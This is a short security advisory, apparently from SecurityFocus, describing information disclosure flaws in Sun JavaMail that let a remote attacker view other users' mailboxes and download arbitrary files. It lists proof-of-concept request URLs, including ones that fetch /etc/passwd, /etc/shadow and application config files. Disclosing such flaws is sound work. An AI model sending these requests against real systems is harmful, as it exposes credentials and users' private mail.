source: https://www.securityfocus.com/bid/13753/info Sun JavaMail is prone to multiple information disclosure vulnerabilities. The issues exist due to a lack of sufficient input sanitization performed on user-supplied requests. The following issues are reported: A remote attacker may reveal the contents of email attachments of other users. A remote attacker may download and peruse arbitrary files with the privileges of the affected service. A remote attacker may exploit these issues to disclose potentially sensitive information that could be used to aid in further attacks. First issue: http://example.com/mailboxesdir/user2@example.com/ http://example.com/mailboxesdir/user3@example.com/ Second issue: http://example.com/Download?/var/serviceprovider/web/WEB-INF/web.xml http://example.com/Download?/var/serviceprovider/web/login.jsp http://example.com/Download?/var/serviceprovider/web/messagecontent.jsp http://example.com/Download?/var/serviceprovider/web/addbook.jsp http://example.com/Download?/var/serviceprovider/web/compose.jsp http://example.com/Download?/var/serviceprovider/web/folder.jsp http://example.com/Download?/etc/passwd http://example.com/Download?/etc/shadow http://example.com/Download?/etc/group http://example.com/Download?/var/log/boot.log http://example.com/Download?/var/log/maillog